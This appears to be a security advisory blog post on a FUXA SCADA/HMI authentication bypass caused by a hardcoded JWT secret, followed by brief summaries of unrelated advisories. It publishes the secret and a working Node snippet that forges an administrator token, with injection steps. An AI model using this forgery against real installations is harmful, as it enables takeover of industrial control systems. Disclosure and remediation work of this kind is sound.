Mar 7, 2026·5 min read·28 visits
FUXA < 1.3.0 uses a hardcoded default secret ('frangoteam751') to sign session tokens if no custom secret is configured. Attackers can use this public string to forge administrative JWTs and take over the SCADA system. Fixed in version 1.3.0.
FUXA, a web-based Process Visualization (SCADA/HMI) software, contains a critical authentication bypass vulnerability due to the use of a hardcoded fallback secret for JSON Web Token (JWT) signing. In versions prior to 1.3.0, if a user did not explicitly configure a `secretCode`, the application defaulted to the static string 'frangoteam751'. This secret was publicly exposed in the project's source code and documentation. An attacker with knowledge of this secret can forge valid authentication tokens, impersonating any user—including administrators—thereby gaining full control over the HMI system and potentially affecting connected industrial processes.
FUXA is an open-source web-based Human-Machine Interface (HMI) and SCADA software used for process visualization and industrial automation. It relies on JSON Web Tokens (JWT) to manage user sessions and authentication state. Ideally, the cryptographic secret used to sign these tokens should be unique to each installation and kept confidential.
However, versions of FUXA prior to 1.3.0 implemented a fallback mechanism that utilized a static, hardcoded string—frangoteam751—whenever the administrator did not manually define a secretCode in the configuration. This vulnerability, identified as GHSA-c8m8-3jcr-6rj5, is a classic example of CWE-798: Use of Hardcoded Credentials.
Because the fallback secret is embedded in the open-source codebase and was even documented in the project's Wiki, it is effectively public knowledge. This flaw fundamentally breaks the trust model of the application's authentication. Any actor aware of this default configuration can generate valid session tokens without needing to compromise a database or crack passwords, leading to direct privilege escalation.
The vulnerability stems from an insecure default configuration in the server's initialization logic. When the FUXA server starts, it attempts to load security settings, including the secret key used for HMAC-SHA256 signing of JWTs. The application logic checked for the presence of a user-defined secret but provided a static string as a fallback to ensure the application would run 'out of the box' without complex setup.
The root cause lies specifically in the fallback value being a constant string rather than a randomly generated value. In secure design patterns, if a critical security parameter is missing, the application should either fail to start (forcing the user to configure it) or generate a cryptographically strong random value at runtime and persist it securely.
By defaulting to frangoteam751, the application created a predictable attack surface. Since many deployments of software rely on default configurations—especially in OT/IoT environments where ease of deployment is prioritized—a significant number of installations likely remain vulnerable to this trivial authentication bypass.
The vulnerability existed in the configuration loading module of the FUXA server. Below is a representation of the vulnerable logic found in versions prior to 1.3.0.
Vulnerable Implementation:
The code utilized a simple logical OR (||) to assign the secret. If config.secretCode was undefined or null, the hardcoded string was used immediately.
// In secure implementations, this should never be a static string
const secret = config.secretCode || 'frangoteam751';
// This secret is then used to sign tokens
const token = jwt.sign(payload, secret, options);Patched Implementation (v1.3.0):
In the patched version, the hardcoded fallback was removed. The remediation strategy involves ensuring that a unique secret is available. While the exact patch details rely on context, the standard fix for this pattern involves generating a random string if one is not provided.
// Conceptual fix in v1.3.0
const crypto = require('crypto');
let secret = config.secretCode;
if (!secret) {
// Generate a secure random secret if none exists
secret = crypto.randomBytes(64).toString('hex');
// Ideally, this new secret is then saved to the config file
saveConfig({ secretCode: secret });
}This change ensures that even if an administrator neglects to configure a secret, the application generates a unique key that an external attacker cannot guess.
Exploiting this vulnerability requires no specialized tools beyond a standard JWT library and knowledge of the target's user structure (which is often standard, e.g., 'admin'). The attack vector is strictly network-based and relies on the target instance running with the default configuration.
Prerequisites:
secretCode configuration.Attack Steps:
HS256 (HMAC with SHA-256) and sign the payload with the known secret frangoteam751.const jwt = require('jsonwebtoken');
// Construct a payload granting administrative privileges
const payload = {
user: 'admin',
role: 'administrator',
// Standard claims like expiry may be required depending on validation logic
exp: Math.floor(Date.now() / 1000) + (60 * 60)
};
// Sign with the hardcoded secret
const forgedToken = jwt.sign(payload, 'frangoteam751');
console.log(forgedToken);Injection: The attacker navigates to the FUXA interface and injects this forged token into the browser's storage (LocalStorage or Cookies) or includes it in the Authorization header of API requests.
Access: Upon refreshing the page or sending a request, the server validates the signature against the hardcoded secret. Since they match, the server accepts the session as valid, granting the attacker full administrative access.
The impact of this vulnerability is severe, particularly given the operational context of FUXA as a SCADA/HMI solution. Successful exploitation allows for complete system compromise.
Confidentiality: Attackers can view sensitive process data, visualization layouts, and potentially proprietary industrial configurations. The CVSS metric for Confidentiality is High.
Integrity: Attackers can modify process parameters, change visualization logic, or alter alarm thresholds. In an industrial context, this could lead to physical equipment damage, spoilage of goods, or safety hazards. The CVSS metric for Integrity is High.
Privilege Escalation: The vulnerability allows a low-privileged user (or an unauthenticated user if the endpoint allows anonymous token submission) to elevate privileges to Administrator. While the CVSS vector notes PR:L (Low Privileges Required), the nature of JWT forgery often acts as a full authentication bypass if the attacker can guess a valid username.
Availability: While the direct impact is not Denial of Service, an attacker with administrative access could easily shut down the server or disrupt operations, indirectly affecting availability.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA FrangoTeam | < 1.3.0 | 1.3.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-798 |
| CVSS v3.1 | 8.1 (High) |
| Attack Vector | Network |
| Privileges Required | Low |
| Attack Complexity | Low |
| Confidentiality Impact | High |
| Integrity Impact | High |
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
A CSV Formula Injection vulnerability (CWE-1236) exists in the Spree headless eCommerce platform within the customer export functionality. An unauthenticated attacker can register a customer profile containing malicious formula sequences in fields like the first name or last name. When an administrator exports the customer data to a CSV file and opens it in a spreadsheet application, the spreadsheet engine can interpret and execute these formulas, potentially leading to remote command execution on the administrator's workstation or out-of-band data exfiltration.
A Stored Cross-Site Scripting (XSS) vulnerability exists in WWBN AVideo versions up to and including 29.0. Unsanitized category descriptions are stored in the database and subsequently rendered as raw HTML in the Gallery view plugin, allowing low-privileged authenticated users to execute arbitrary JavaScript in the browsers of visiting users.
A critical supply chain compromise was identified in the Node.js package @cap-js/openapi at version 1.4.1. An attacker gained unauthorized publishing access to the npm registry and distributed a backdoored release that harvests sensitive developer credentials, environment variables, and SSH keys. The malicious code then exfiltrates the collected data to external actor-controlled servers.
An authenticated wallet credit bypass vulnerability exists in WWBN AVideo version 29.0 and earlier. The AuthorizeNet plugin includes an unfinished mockup endpoint, processPayment.json.php, which lacks actual transaction verification and hardcodes success. This allows any authenticated user to credit their wallet with arbitrary balances without making any payments.
An unauthenticated stored DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the YPTSocket plugin of WWBN AVideo (formerly YouPHPTube) allows remote attackers to execute arbitrary JavaScript within the session context of administrative users. Unsanitized metadata parameters supplied during the WebSocket handshake are persisted in an SQLite database and broadcast to connected users. The frontend application processes these parameters through an unsafe jQuery append sink, leading to silent, high-impact administrative context compromise.
A path parsing and normalization inconsistency vulnerability exists in the Hono web framework prior to version 4.12.21. When hosting sub-applications via the app.mount() routing interface, Hono calculates the routing path prefix length on a percent-decoded representation of the URI but executes the path-slicing offset on the raw, percent-encoded string. This discrepancy results in malformed request paths being dispatched to mounted sub-applications, potentially leading to route bypasses, route confusion, and application-level Denial of Service.